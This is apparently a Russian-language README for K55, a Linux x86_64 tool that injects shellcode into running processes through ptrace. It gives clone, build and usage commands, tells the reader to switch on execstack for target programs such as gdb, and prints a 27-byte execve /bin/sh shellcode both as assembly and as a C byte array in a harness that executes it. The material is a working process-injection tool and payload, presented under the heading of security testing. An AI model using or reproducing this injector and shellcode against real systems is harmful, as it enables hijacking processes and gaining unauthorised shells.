
Утилита для внедрения процессов под Linux x86_64
(произносится: «кей пятьдесят пять»)
Инструмент внедрения полезной нагрузки K55 используется для внедрения полезных нагрузок шеллкода x86_64 в запущенные процессы. Утилита разработана с использованием современных методов C++11, а также некоторых традиционных C-функций Linux, таких как ptrace(). Шеллкод, порождаемый в целевом процессе, имеет размер 27 байт и выполняет /bin/sh (запускает оболочку bash). В будущем я позволю пользователям вводить свой собственный шеллкод через аргументы командной строки.
git clone https://github.com/josh0xA/K55.gitcd K55chmod +x build-install.sh./build-install.shUsage: ./K55 <process-name>
r-xp или execstack. Тест 1) В одном терминале (директория K55/) выполните: ./k55_example_process/k55_test_process
Тест 2) В другом терминале запустите инжектор: sudo ./K55 k55_test_process
Очевидно, вызовы ptrace(PTRACE_POKETEXT...) не являются самыми скрытыми. Поэтому некоторые приложения могут ограничивать эффект K55. Однако для тестирования безопасности убедитесь, что включен execstack для ваших целевых приложений. Например, если я тестирую gdb, перед внедрением я выполняю следующее: sudo execstack -s /usr/bin/gdb. Установите execstack из менеджера пакетов вашего дистрибутива. Для пользователей Arch Linux execstack можно найти в AUR.
Примечание: Ниже приведена демонстрация. Строка полезной нагрузки уже жестко закодирована в K55.
main:
xor eax, eax
mov rbx, 0xFF978CD091969DD1
neg rbx
push rbx
push rsp
pop rdi
cdq
push rdx
push rdi
push rsp
pop rsi
mov al, 0x3b
syscall
#include <stdio.h>
#include <string.h>
// Shellcode breakdown of the assembly code.
char code[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";
int main()
{
printf("len:%d bytes\n", strlen(code));
(*(void(*)()) code)();
return 0;
}
http://shell-storm.org/shellcode/files/shellcode-806.php
https://0x00sec.org/t/linux-infecting-running-processes/1097
Лицензия MIT
Авторские права (c) Josh Schiavone